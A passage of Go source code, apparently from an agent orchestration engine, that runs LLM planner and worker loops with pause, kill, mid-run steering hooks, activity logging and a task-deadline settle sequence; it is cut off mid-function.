||||
workCancel map[int64]context.CancelFunc
|
||||
|
||||
// steerBox queues planner course-corrections for a running work (keyed by intent
|
||||
// id). The worker's PreToolUse hook drains it before its next tool call and hands
|
||||
// the message to the model (blocking that call) so it re-plans — no kill needed.
|
||||
steerMu sync.Mutex
|
||||
steerBox map[int64][]string
|
||||
|
||||
plannerRound sync.Map // taskID -> int, planner round counter (for UI round separators)
|
||||
|
||||
// 任务级超时(见 docs/任务级超时与收尾设计.md):
|
||||
settling sync.Map // taskID -> bool, 任务已进入收尾时序(停止派/领新意图)
|
||||
deadline sync.Map // taskID -> int64 unix, 绝对截止时刻(首次运行时盖章;0/缺省=不限)
|
||||
stamped sync.Map // taskID -> bool, first_run_at 是否已盖章(本进程内只盖一次)
|
||||
inflight sync.Map // taskID -> *int64, 在跑的 planner.Plan + worker.Execute 计数(用于 drain)
|
||||
coordStarted sync.Map // taskID -> bool, deadline 协调器是否已启动(Run/reload 去重)
|
||||
|
||||
// resolve, if set, returns a task's dedicated planner/worker when it pins a
|
||||
// specific LLM profile (nil,nil = use the global active pair). Set once at startup.
|
||||
resolve func(t *Task) (*agent.Planner, *agent.Worker)
|
||||
}
|
||||
|
||||
// nextPlannerRound returns the next planner round number for a task (1-based).
|
||||
func (e *Engine) nextPlannerRound(taskID string) int {
|
||||
v, _ := e.plannerRound.LoadOrStore(taskID, 0)
|
||||
n := v.(int) + 1
|
||||
e.plannerRound.Store(taskID, n)
|
||||
return n
|
||||
}
|
||||
|
||||
// Pause stops a task: marks it paused AND cancels any in-flight planner/worker run
|
||||
// for it (a long worker.Execute would otherwise keep going until it finishes).
|
||||
func (e *Engine) Pause(taskID string) {
|
||||
e.paused.Store(taskID, true)
|
||||
e.cancelExec(taskID)
|
||||
}
|
||||
|
||||
// cancelExec cancels a task's current per-task exec context (any in-flight
|
||||
// planner.Plan / worker.Execute), if present. Shared by Pause and the settle
|
||||
// sequence's hard-drain backstop.
|
||||
func (e *Engine) cancelExec(taskID string) {
|
||||
e.execMu.Lock()
|
||||
if cancel := e.execCancel[taskID]; cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
e.execMu.Unlock()
|
||||
}
|
||||
|
||||
// Resume un-pauses a task and nudges a fresh planning round. The next exec under
|
||||
// it gets a fresh (uncancelled) context.
|
||||
func (e *Engine) Resume(t *Task) {
|
||||
e.paused.Delete(t.ID)
|
||||
t.Notify()
|
||||
}
|
||||
|
||||
// execContextFor returns a live per-task context derived from parent, recreating
|
||||
// it if a prior pause cancelled it.
|
||||
func (e *Engine) execContextFor(parent context.Context, taskID string) context.Context {
|
||||
e.execMu.Lock()
|
||||
defer e.execMu.Unlock()
|
||||
if e.IsPaused(taskID) {
|
||||
// never hand out a live context while paused (guards the claim→Execute race)
|
||||
c, cancel := context.WithCancel(parent)
|
||||
cancel()
|
||||
return c
|
||||
}
|
||||
if c := e.execCtx[taskID]; c != nil && c.Err() == nil {
|
||||
return c
|
||||
}
|
||||
c, cancel := context.WithCancel(parent)
|
||||
e.execCtx[taskID] = c
|
||||
e.execCancel[taskID] = cancel
|
||||
return c
|
||||
}
|
||||
|
||||
// IsPaused reports whether a task is user-paused.
|
||||
func (e *Engine) IsPaused(taskID string) bool {
|
||||
v, ok := e.paused.Load(taskID)
|
||||
return ok && v.(bool)
|
||||
}
|
||||
|
||||
// Started reports whether the engine loops are running for a task.
|
||||
func (e *Engine) Started(taskID string) bool {
|
||||
_, ok := e.started.Load(taskID)
|
||||
return ok
|
||||
}
|
||||
|
||||
// LastActivity returns the unix time of the last planner/worker activity for a
|
||||
// task (0 if none yet).
|
||||
func (e *Engine) LastActivity(taskID string) int64 {
|
||||
if v, ok := e.lastAct.Load(taskID); ok {
|
||||
return v.(int64)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (e *Engine) touch(taskID string) { e.lastAct.Store(taskID, time.Now().Unix()) }
|
||||
|
||||
func NewEngine(m *Manager) *Engine {
|
||||
return &Engine{m: m, debounce: 800 * time.Millisecond, bc: NewBroadcaster(),
|
||||
execCancel: map[string]context.CancelFunc{}, execCtx: map[string]context.Context{},
|
||||
workCancel: map[int64]context.CancelFunc{}, steerBox: map[int64][]string{}}
|
||||
}
|
||||
|
||||
// registerWork records the cancel for the work currently running intentID.
|
||||
func (e *Engine) registerWork(intentID int64, cancel context.CancelFunc) {
|
||||
e.workMu.Lock()
|
||||
e.workCancel[intentID] = cancel
|
||||
e.workMu.Unlock()
|
||||
}
|
||||
|
||||
// unregisterWork removes and releases the work's cancel (called when Execute returns).
|
||||
func (e *Engine) unregisterWork(intentID int64) {
|
||||
e.workMu.Lock()
|
||||
if c := e.workCancel[intentID]; c != nil {
|
||||
delete(e.workCancel, intentID)
|
||||
c() // release context resources (no-op if already cancelled)
|
||||
}
|
||||
e.workMu.Unlock()
|
||||
e.steerMu.Lock()
|
||||
delete(e.steerBox, intentID) // drop any undelivered steering for a finished work
|
||||
e.steerMu.Unlock()
|
||||
}
|
||||
|
||||
// SteerWork queues a mid-run course-correction for the work running intentID (the
|
||||
// planner's steer_work tool). The worker delivers it before its next tool call and
|
||||
// re-plans — no kill. Errors if no work is currently running that intent.
|
||||
func (e *Engine) SteerWork(intentID int64, msg string) error {
|
||||
if strings.TrimSpace(msg) == "" {
|
||||
return fmt.Errorf("纠偏消息不能为空")
|
||||
}
|
||||
e.workMu.Lock()
|
||||
running := e.workCancel[intentID] != nil
|
||||
e.workMu.Unlock()
|
||||
if !running {
|
||||
return fmt.Errorf("意图 %d 当前没有运行中的 work（可能已结束或未被领取）", intentID)
|
||||
}
|
||||
e.steerMu.Lock()
|
||||
e.steerBox[intentID] = append(e.steerBox[intentID], msg)
|
||||
e.steerMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// drainSteer pops the oldest queued steering message for intentID (FIFO), if any.
|
||||
func (e *Engine) drainSteer(intentID int64) (string, bool) {
|
||||
e.steerMu.Lock()
|
||||
defer e.steerMu.Unlock()
|
||||
q := e.steerBox[intentID]
|
||||
if len(q) == 0 {
|
||||
return "", false
|
||||
}
|
||||
msg := q[0]
|
||||
if len(q) == 1 {
|
||||
delete(e.steerBox, intentID)
|
||||
} else {
|
||||
e.steerBox[intentID] = q[1:]
|
||||
}
|
||||
return msg, true
|
||||
}
|
||||
|
||||
// steerHooks wraps the guard's hook runner so the planner can steer a running work:
|
||||
// before each tool call it drains a queued course-correction (if any) and blocks the
|
||||
// call, handing the message back to the model — which re-plans its next step instead
|
||||
// of running the tool. No queued message → the guard behaves exactly as before.
|
||||
type steerHooks struct {
|
||||
inner harness.HookRunner
|
||||
drain func() (string, bool)
|
||||
}
|
||||
|
||||
func (h steerHooks) PreToolUse(ctx context.Context, name string, input []byte) (bool, string, []byte) {
|
||||
if msg, ok := h.drain(); ok {
|
||||
return true, "【规划者实时纠偏】" + msg +
|
||||
"\n（这是规划者对本意图的即时指令；本次工具调用未执行，请据此调整下一步。若与你当前打算冲突，以此为准。）", nil
|
||||
}
|
||||
if h.inner != nil {
|
||||
return h.inner.PreToolUse(ctx, name, input)
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
func (h steerHooks) PostToolUse(ctx context.Context, name string, input, result []byte, isErr bool) {
|
||||
if h.inner != nil {
|
||||
h.inner.PostToolUse(ctx, name, input, result, isErr)
|
||||
}
|
||||
}
|
||||
|
||||
func (h steerHooks) Stop(ctx context.Context, messages []llm.Message) (bool, []string, string) {
|
||||
if h.inner != nil {
|
||||
return h.inner.Stop(ctx, messages)
|
||||
}
|
||||
return false, nil, ""
|
||||
}
|
||||
|
||||
// KillWork cancels the in-flight work running intentID (planner's kill_work tool).
|
||||
// The work's agent-core session honors ctx cancellation and aborts promptly.
|
||||
func (e *Engine) KillWork(intentID int64) error {
|
||||
e.workMu.Lock()
|
||||
c := e.workCancel[intentID]
|
||||
e.workMu.Unlock()
|
||||
if c == nil {
|
||||
return fmt.Errorf("意图 %d 当前没有运行中的 work（可能已结束或未被领取）", intentID)
|
||||
}
|
||||
c()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Broadcaster exposes the engine's live activity pub/sub (used by the SSE handler).
|
||||
func (e *Engine) Broadcaster() *Broadcaster { return e.bc }
|
||||
|
||||
// emitActivity persists one captured step AND fans it out to live subscribers,
|
||||
// from a single point so storage and the SSE stream never diverge.
|
||||
func (e *Engine) emitActivity(t *Task, r db.Activity) {
|
||||
id, err := e.appendActivity(t, r)
|
||||
if err != nil {
|
||||
// NO LONGER SILENT: dropping a record breaks command↔result pairing in the
|
||||
// trace — a tool_use whose tool_result was lost shows as "执行中" forever.
|
||||
log.Printf("[activity] task %s 重试后仍失败、丢弃该记录 (kind=%s tool=%s tuid=%s): %v",
|
||||
t.ID, r.Kind, r.Tool, r.ToolUseID, err)
|
||||
e.touch(t.ID)
|
||||
return
|
||||
}
|
||||
r.ID = id
|
||||
if r.CreatedAt.IsZero() {
|
||||
r.CreatedAt = time.Now()
|
||||
}
|
||||
e.bc.Publish(t.ID, r)
|
||||
e.touch(t.ID)
|
||||
}
|
||||
|
||||
// appendActivity persists one activity row, retrying briefly on write failure.
|
||||
// Concurrent planner + worker inserts into the same exploration's activity log
|
||||
// occasionally fail; a couple of quick retries recover most. Crucially, every
|
||||
// failure is now LOGGED (it used to be swallowed by an `if err == nil`), so the
|
||||
// underlying DB error is finally visible for diagnosis.
|
||||
func (e *Engine) appendActivity(t *Task, r db.Activity) (int64, error) {
|
||||
var id int64
|
||||
var err error
|
||||
for attempt := 1; attempt <= 3; attempt++ {
|
||||
if id, err = t.Store.AppendActivity(r); err == nil {
|
||||
if attempt > 1 {
|
||||
log.Printf("[activity] task %s 写入第 %d 次重试成功 (worker=%s kind=%s tool=%s)",
|
||||
t.ID, attempt, r.Worker, r.Kind, r.Tool)
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
log.Printf("[activity] task %s 写入失败 (第 %d/3 次, worker=%s kind=%s tool=%s): %v",
|
||||
t.ID, attempt, r.Worker, r.Kind, r.Tool, err)
|
||||
time.Sleep(time.Duration(attempt) * 25 * time.Millisecond)
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
// UseLLM installs (or replaces) the LLM planner + work agent at runtime.
|
||||
func (e *Engine) UseLLM(p *agent.Planner, w *agent.Worker) {
|
||||
e.mu.Lock()
|
||||
e.planner, e.worker = p, w
|
||||
e.mu.Unlock()
|
||||
}
|
||||
|
||||
func (e *Engine) snapshot() (*agent.Planner, *agent.Worker) {
|
||||
e.mu.RLock()
|
||||
defer e.mu.RUnlock()
|
||||
return e.planner, e.worker
|
||||
}
|
||||
|
||||
// SetAgentResolver installs a per-task planner/worker resolver (wired by the server).
|
||||
// Called once at startup before any task loop runs, so no lock is needed on reads.
|
||||
func (e *Engine) SetAgentResolver(fn func(t *Task) (*agent.Planner, *agent.Worker)) {
|
||||
e.resolve = fn
|
||||
}
|
||||
|
||||
// snapshotFor returns the planner/worker a task should run on: the task's dedicated
|
||||
// pair when it pins a specific LLM profile (via the resolver), else the global active
|
||||
// pair. The resolver returning nil means "no override" (fall back to global).
|
||||
func (e *Engine) snapshotFor(t *Task) (*agent.Planner, *agent.Worker) {
|
||||
if e.resolve != nil {
|
||||
if p, w := e.resolve(t); p != nil && w != nil {
|
||||
return p, w
|
||||
}
|
||||
}
|
||||
return e.snapshot()
|
||||
}
|
||||
|
||||
// Ready reports whether an LLM provider is configured.
|
||||
func (e *Engine) Ready() bool {
|
||||
p, w := e.snapshot()
|
||||
return p != nil && w != nil
|
||||
}
|
||||
|
||||
// Mode reports "llm" when ready, else "idle".
|
||||
func (e *Engine) Mode() string {
|
||||
if e.Ready() {
|
||||
return "llm"
|
||||
}
|
||||
return "idle"
|
||||
}
|
||||
|
||||
// Run starts the planner loop + N worker loops for a task. The loops always run
|
||||
// but no-op until an LLM is configured (so a task created while idle picks up
|
||||
// automatically once LLM is set from the UI).
|
||||
func (e *Engine) Run(ctx context.Context, t *Task) {
|
||||
if _, loaded := e.started.LoadOrStore(t.ID, true); loaded {
|
||||
t.Notify() // already running — just nudge a planning round
|
||||
return
|
||||
}
|
||||
e.touch(t.ID)
|
||||
go e.plannerLoop(ctx, t)
|
||||
workers := e.m.Workers()
|
||||
for i := 0; i < workers; i++ {
|
||||
go e.workerLoop(ctx, t, fmt.Sprintf("work#%d", i+1))
|
||||
}
|
||||
e.startDeadlineCoordinator(ctx, t) // 任务级超时定时器(仅 timeout>0;去重)
|
||||
t.Notify() // kick the first planning round (acted on once LLM is ready)
|
||||
}
|
||||
|
||||
func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.notify:
|
||||
// debounce: coalesce a burst of changes into one planning round
|
||||
timer := time.NewTimer(e.debounce)
|
||||
drain:
|
||||
for {
|
||||
select {
|
||||
case <-t.notify:
|
||||
case <-timer.C:
|
||||
break drain
|
||||
}
|
||||
}
|
||||
planner, _ := e.snapshotFor(t)
|
||||
if planner == nil {
|
||||
continue // idle until LLM configured
|
||||
}
|
||||
if e.IsPaused(t.ID) {
|
||||
continue // user-paused: don't plan
|
||||
}
|
||||
// terminal task (goals all met → done, or failed): the run is over. A
|
||||
// resume/nudge — e.g. auto-resume of the active task on restart — must NOT
|
||||
// re-plan (it would burn an LLM round and re-confirm a settled result).
|
||||
if isTerminalStatus(t.Status) {
|
||||
continue
|
||||
}
|
||||
// 任务级超时收尾中:丢弃普通唤醒——worker 收尾写回、Resume 的 Notify 都不再
|
||||
// 触发常规规划轮;终局那一轮由协调器(settleTask)直接驱动,不走这里。
|
||||
if e.isSettling(t.ID) {
|
||||
continue
|
||||
}
|
||||
e.stampFirstRun(t) // 首次真正规划 → 盖 first_run_at + 算 deadline(仅带 timeout 的任务)
|
||||
e.touch(t.ID)
|
||||
emit := func(r db.Activity) { e.emitActivity(t, r) }
|
||||
ectx := e.clockCtx(e.execContextFor(ctx, t.ID), t, false) // cancellable by Pause; 带任务 deadline
|
||||
log.Printf("[planner] task %s 规划中…", t.ID)
|
||||
// round marker: each Plan() is one planner round; emit a boundary so the
|
||||
// UI can separate rounds in the transcript (kind='round').
|
||||
e.emitActivity(t, db.Activity{Worker: "planner", Kind: "round",
|
||||
Summary: fmt.Sprintf("第 %d 轮规划", e.nextPlannerRound(t.ID))})
|
||||
// which intents' completion triggered this round (may be several — debounce
|
||||
// coalesces a burst; empty for non-completion wakes like a new hint).
|
||||
doneIntents := t.drainDone()
|
||||
e.incInflight(t.ID)
|
||||
taskIDInt, _ := strconv.ParseInt(t.ID, 10, 64)
|
||||
met, reason, err := planner.Plan(ectx, taskIDInt, e.m.assets, t.Store, t.Goal, doneIntents, emit)
|
||||
e.decInflight(t.ID)
|
||||
switch {
|
||||
case err != nil && ectx.Err() == nil:
|
||||
log.Printf("[planner] task %s 规划出错: %v", t.ID, err)
|
||||
case met:
|
||||
log.Printf("[planner] task %s 判定目标达成: %s", t.ID, reason)
|
||||
// 所有目标达成 → 持久化任务状态为 done（前端 DTO 会优先展示该终态）。
|
||||
if err := e.m.SetTaskStatus(t.ID, "done"); err != nil {
|
||||
log.Printf("[planner] task %s 标记完成落库失败: %v", t.ID, err)
|
||||
}
|
||||
// 任务已判完成 → 立刻取消在跑的 worker：它们手头的意图跑出来也没意义了。
|
||||
// 下一轮 worker 循环撞终态门就不再领新意图;被取消的这批走下方"任务已完成"分支
|
||||
// 归为 stopped(而非 blocked)。
|
||||
e.cancelExec(t.ID)
|
||||
default:
|
||||
log.Printf("[planner] task %s 规划完成", t.ID)
|
||||
}
|
||||
e.touch(t.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Engine) workerLoop(ctx context.Context, t *Task, name string) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
_, worker := e.snapshotFor(t)
|
||||
if worker == nil {
|
||||
if sleepCtx(ctx, 1500*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
if e.IsPaused(t.ID) {
|
||||
if sleepCtx(ctx, 1000*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
continue // user-paused: don't claim/execute intents
|
||||
}
|
||||
if e.isSettling(t.ID) {
|
||||
if sleepCtx(ctx, 1000*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
continue // 任务超时收尾中:不再领新意图(在跑的自行收尾,协调器等其 drain)
|
||||
}
|
||||
if isTerminalStatus(e.m.TaskStatus(t.ID)) {
|
||||
if sleepCtx(ctx, 1000*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
continue // 任务已终态(done/failed/timeout):停止领取遗留意图,别在完成后空跑 frontier
|
||||
}
|
||||
intent := e.claimNext(t, name)
|
||||
if intent == nil {
|
||||
if sleepCtx(ctx, 800*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
log.Printf("[worker %s] task %s 领取意图 #%d", name, t.ID, intent.ID)
|
||||
e.stampFirstRun(t) // 首次真正执行 → 盖 first_run_at + 算 deadline(仅带 timeout 的任务)
|
||||
e.touch(t.ID)
|
||||
emit := func(r db.Activity) { e.emitActivity(t, r) }
|
||||
ectx := e.clockCtx(e.execContextFor(ctx, t.ID), t, false) // cancellable by Pause; 带任务 deadline
|
||||
// per-work child context so the planner's kill_work can stop just this work.
|
||||
workCtx, workCancel := context.WithCancel(ectx)
|
||||
e.registerWork(intent.ID, workCancel)
|
||||
// wrap the guard hooks so steer_work can inject a mid-run course-correction
|
||||
// for THIS intent (drained before the worker's next tool call).
|
||||
iid := intent.ID
|
||||
taskEmit := func(a db.Activity) {
|
||||
nid := iid
|
||||
a.NodeID, a.Worker = &nid, name
|
||||
emit(a)
|
||||
}
|
||||
workCtx = intercept.WithTaskContext(workCtx, t.ID, fmt.Sprintf("%s · #%d", name, iid), taskEmit)
|
||||
hooks := steerHooks{inner: t.Guard.Hooks(), drain: func() (string, bool) { return e.drainSteer(iid) }}
|
||||
wTaskID, _ := strconv.ParseInt(t.ID, 10, 64)
|
||||
e.incInflight(t.ID) // 计入在跑,供收尾时序 drain 等待
|
||||
reason, wrote, err := worker.Execute(workCtx, name, wTaskID, e.m.assets, t.Store, intent, hooks, emit, e.m.enrich)
|
||||
// model_error 收场 → 额外重跑几次（退避后再试）。仅在意图仍属本 work、任务
|
||||
// 未暂停/未终止/未取消【且未进入收尾】时重试；否则让位给对应分支处理(收尾期不
|
||||
// 再重试,避免退避挤占其他 worker 的优雅收尾窗口)。
|
||||
for attempt := 1; attempt <= modelErrorRetries &&
|
||||
reason == harness.ReasonModelError &&
|
||||
workCtx.Err() == nil && ectx.Err() == nil && !e.IsPaused(t.ID) && !e.isSettling(t.ID); attempt++ {
|
||||
log.Printf("[worker %s] task %s 意图 #%d model_error 收场，%v 后重试 (%d/%d)",
|
||||
name, t.ID, intent.ID, modelErrorRetryBackoff, attempt, modelErrorRetries)
|
||||
if sleepCtx(workCtx, modelErrorRetryBackoff) {
|
||||
break // 退避期间被取消（终止/暂停）→ 交给下方分支处理
|
||||
}
|
||||
reason, wrote, err = worker.Execute(workCtx, name, wTaskID, e.m.assets, t.Store, intent, hooks, emit, e.m.enrich)
|
||||
}
|
||||
e.decInflight(t.ID)
|
||||
// CAPTURE kill state BEFORE unregisterWork cancels workCtx. kill = this work's
|
||||
// ctx was cancelled (planner kill_work) while the TASK ctx kept running; a
|
||||
// pause cancels the task ctx (ectx) instead. Checking workCtx.Err() AFTER
|
||||
// unregister would always be true (unregister cancels it) → every completed
|
||||
// work would be wrongly marked stopped.
|
||||
killed := workCtx.Err() != nil && ectx.Err() == nil
|
||||
e.unregisterWork(intent.ID)
|
||||
// if a pause cancelled this run mid-flight, return the intent to the frontier
|
||||
// so it is re-claimed (and re-run from scratch) on resume — not marked done.
|
||||
if ectx.Err() != nil && e.IsPaused(t.ID) {
|
||||
_ = t.Store.SetIntentState(intent.ID, "open")
|
||||
continue
|
||||
}
|
||||
// 任务超时收尾的硬兜底 cancel(非 pause、非 kill)取消了本 run → 归为 exhausted(已收尾),
|
||||
// 不要误标 blocked。此时 worker 通常已在 settlement 阶段把结果写回。
|
||||
if ectx.Err() != nil && e.isSettling(t.ID) {
|
||||
_ = t.Store.SetIntentState(intent.ID, "exhausted")
|
||||
log.Printf("[worker %s] task %s 意图 #%d 因任务超时收尾结束(exhausted)，写回 %d 条", name, t.ID, intent.ID, wrote)
|
||||
e.touch(t.ID)
|
||||
continue
|
||||
}
|
||||
// 任务已判完成(done via 常规路径)→ 上面 cancelExec 取消了本 run。意图结果已无意义,
|
||||
// 标 stopped(不是 blocked),别污染已完成任务的意图状态。
|
||||
if ectx.Err() != nil && isTerminalStatus(e.m.TaskStatus(t.ID)) {
|
||||
_ = t.Store.SetIntentState(intent.ID, "stopped")
|
||||
log.Printf("[worker %s] task %s 意图 #%d 因任务已完成而取消(stopped)", name, t.ID, intent.ID)
|
||||
e.touch(t.ID)
|
||||
continue
|
||||
}
|
||||
// killed by the planner: mark stopped (don't write back results, don't auto-reclaim).
|
||||
if killed {
|
||||
_ = t.Store.SetIntentState(intent.ID, "stopped")
|
||||
log.Printf("[worker %s] task %s 意图 #%d 被终止(stopped)", name, t.ID, intent.ID)
|
||||
e.touch(t.ID)
|
||||
t.Notify()
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("[worker %s] intent %d: %v", name, intent.ID, err)
|
||||
}
|
||||
// terminal分流：撞步数上限 ≠ 完成。max_turns→exhausted（规划者据此知道这个方向
|
||||
// 试过但没真正做完、需换角度，而非当成已覆盖永久跳过）；出错→blocked；正常→done。
|
||||
state := "done"
|
||||
switch {
|
||||
case err != nil:
|
||||
state = "blocked"
|
||||
case reason == harness.ReasonMaxTurns:
|
||||
state = "exhausted"
|
||||
log.Printf("[worker %s] intent %d 撞步数上限(exhausted)，本次写回事实 %d 条", name, intent.ID, wrote)
|
||||
case reason == harness.ReasonTimeout:
|
||||
state = "exhausted"
|
||||
log.Printf("[worker %s] intent %d 运行超时(exhausted)，收尾后写回事实 %d 条", name, intent.ID, wrote)
|
||||
}
|
||||
_ = t.Store.SetIntentState(intent.ID, state)
|
||||
log.Printf("[worker %s] task %s 意图 #%d 结束: %s (写回 %d 条事实)", name, t.ID, intent.ID, state, wrote)
|
||||
e.touch(t.ID)
|
||||
t.NotifyDone(intent.ID) // results changed the graph -> wake the planner (with the just-finished intent id)
|
||||
}
|
||||
}
|
||||
|
||||
func sleepCtx(ctx context.Context, d time.Duration) (done bool) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return true
|
||||
case <-time.After(d):
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Engine) claimNext(t *Task, name string) *db.Node {
|
||||
fr, _ := t.Store.Frontier(20)
|
||||
for _, in := range fr {
|
||||
if ok, _ := t.Store.ClaimIntent(in.ID, name); ok {
|
||||
return in
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// 任务级超时协调器(见 docs/任务级超时与收尾设计.md §4/§8.5)。
|
||||
// 绝对墙钟:每个带 timeout 的任务一个定时 goroutine,到点驱动有序收尾时序:
|
||||
// ① settling → ② worker 停领新意图 / ③ planner 丢弃普通 notify
|
||||
// ④ 等在跑 worker drain(受 grace) → ⑤ 终局一轮 planner 判定 → ⑥ 定终态(带守卫)
|
||||
|
||||
const (
|
||||
settleDrainGrace = 90 * time.Second // 等在跑 worker 优雅收尾的上限;超过则硬 cancel
|
||||
deadlinePollInterval = 2 * time.Second // deadline 未盖章/LLM 未就绪时的轮询间隔
|
||||
deadlineMaxSleep = 30 * time.Second // 单次最长睡眠(便于周期复查终态)
|
||||
)
|
||||
|
||||
// ---------- settling 状态 ----------
|
||||
|
||||
func (e *Engine) isSettling(taskID string) bool {
|
||||
v, _ := e.settling.Load(taskID)
|
||||
b, _ := v.(bool)
|
||||
return b
|
||||
}
|
||||
|
||||
// markSettling flips settling on; returns true only for the first caller.
|
||||
func (e *Engine) markSettling(taskID string) bool {
|
||||
_, loaded := e.settling.LoadOrStore(taskID, true)
|
||||
return !loaded
|
||||
}
|
||||
|
||||
// ---------- 在跑计数(worker.Execute + planner.Plan),用于 drain ----------
|
||||
|
||||
func (e *Engine) inflightCounter(taskID string) *int64 {
|
||||
v, _ := e.inflight.LoadOrStore(taskID, new(int64))
|
||||
return v.(*int64)
|
||||
}
|
||||
func (e *Engine) incInflight(taskID string) { atomic.AddInt64(e.inflightCounter(taskID), 1) }
|
||||
func (e *Engine) decInflight(taskID string) { atomic.AddInt64(e.inflightCounter(taskID), -1) }
|
||||
func (e *Engine) inflightCount(taskID string) int64 {
|
||||
return atomic.LoadInt64(e.inflightCounter(taskID))
|
||||
}
|
||||
|
||||
// ---------- deadline ----------
|
||||
|
||||
// taskDeadline returns the task's absolute deadline (unix). Prefers the in-process
|
||||
// map (stamped this session); falls back to the DB-loaded value (restart), seeding
|
||||
// the map. 0 = no timeout / not yet stamped.
|
||||
func (e *Engine) taskDeadline(t *Task) int64 {
|
||||
if v, ok := e.deadline.Load(t.ID); ok {
|
||||
return v.(int64)
|
||||
}
|
||||
if t.DeadlineAt > 0 {
|
||||
e.deadline.Store(t.ID, t.DeadlineAt)
|
||||
return t.DeadlineAt
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// stampFirstRun records first_run_at + deadline_at on the FIRST real run (LLM ready)
|
||||
// of a timeout task, once per process. No-op when the task has no timeout.
|
||||
func (e *Engine) stampFirstRun(t *Task) {
|
||||
if t.TimeoutSeconds <= 0 {
|
||||
return
|
||||
}
|
||||
if _, loaded := e.stamped.LoadOrStore(t.ID, true); loaded {
|
||||
return
|
||||
}
|
||||
dl, err := e.m.StampTaskFirstRun(t.ID)
|
||||
if err != nil {
|
||||
log.Printf("[deadline] task %s 盖章 first_run 失败: %v", t.ID, err)
|
||||
e.stamped.Delete(t.ID) // 允许下次重试
|
||||
return
|
||||
}
|
||||
if dl > 0 {
|
||||
e.deadline.Store(t.ID, dl)
|
||||
log.Printf("[deadline] task %s 首次运行,截止于 %s", t.ID, time.Unix(dl, 0).Format("2006-01-02 15:04:05"))
|
||||
}
|
||||
}
|
||||
|
||||
// clockCtx layers the task's TaskClock (absolute deadline) onto a run's context so
|
||||
// worker/planner can clamp their wall-clock budget and pick per-run vs task-timeout
|
||||
// wrap-up words. final marks the coordinator-driven terminal planner round.
|
||||
func (e *Engine) clockCtx(base context.Context, t *Task, final bool) context.Context {
|
||||
dl := e.taskDeadline(t)
|
||||
if dl <= 0 && !final {
|
||||
return base // no timeout → unchanged behavior
|
||||
}
|
||||
return agent.WithTaskClock(base, agent.TaskClock{DeadlineUnix: dl, Final: final})
|
||||
}
|
||||
|
||||
// ---------- 协调器 ----------
|
||||
|
||||
// startDeadlineCoordinator launches the per-task deadline timer once (idempotent).
|
||||
// Called from Run() and from the restart reload path, so non-active timeout tasks
|
||||
// still get settled after their deadline even without live planner/worker loops.
|
||||
func (e *Engine) startDeadlineCoordinator(ctx context.Context, t *Task) {
|
||||
if t == nil || t.TimeoutSeconds <= 0 {
|
||||
return
|
||||
}
|
||||
if _, loaded := e.coordStarted.LoadOrStore(t.ID, true); loaded {
|
||||
return
|
||||
}
|
||||
go e.deadlineCoordinator(ctx, t)
|
||||
}
|
||||
|
||||
// deadlineCoordinator waits until the task's absolute deadline, then runs the settle
|
||||
// sequence. Absolute wall-clock: it keeps counting through pauses.
|
||||
func (e *Engine) deadlineCoordinator(ctx context.Context, t *Task) {
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
if isTerminalStatus(e.m.TaskStatus(t.ID)) {
|
||||
return // already finished (goals met / failed) — nothing to time out
|
||||
}
|
||||
dl := e.taskDeadline(t)
|
||||
if dl <= 0 {
|
||||
if sleepCtx(ctx, deadlinePollInterval) { // not yet stamped (task hasn't really run)
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
if remaining := time.Until(time.Unix(dl, 0)); remaining > 0 {
|
||||
nap := remaining
|
||||
if nap > deadlineMaxSleep {
|
||||
nap = deadlineMaxSleep
|
||||
}
|
||||
if sleepCtx(ctx, nap) {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
e.settleTask(ctx, t)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// settleTask runs the ordered settle sequence once (§4 steps ①–⑥).
|
||||
func (e *Engine) settleTask(ctx context.Context, t *Task) {
|
||||
if !e.markSettling(t.ID) {
|
||||
return
|
||||
}
|
||||
log.Printf("[deadline] task %s 到达超时上限,进入收尾时序", t.ID)
|
||||
|
||||
// ④ 等在跑 worker/planner drain(在跑 run 因夹逼的 MaxDuration 自行进收尾);
|
||||
// 超过 grace 仍未清空 → 硬 cancel 该任务 exec ctx(settling-aware 分支正确归类)。
|
||||
hardStop := time.Now().Add(settleDrainGrace)
|
||||
for e.inflightCount(t.ID) > 0 {
|
||||
if time.Now().After(hardStop) {
|
||||
log.Printf("[deadline] task %s drain 超时(%s),硬取消在跑 run", t.ID, settleDrainGrace)
|
||||
e.cancelExec(t.ID)
|
||||
_ = sleepCtx(ctx, 3*time.Second) // 给 worker 分支一点时间落库/归类
|
||||
break
|
||||
}
|
||||
if sleepCtx(ctx, 500*time.Millisecond) {
|
||||
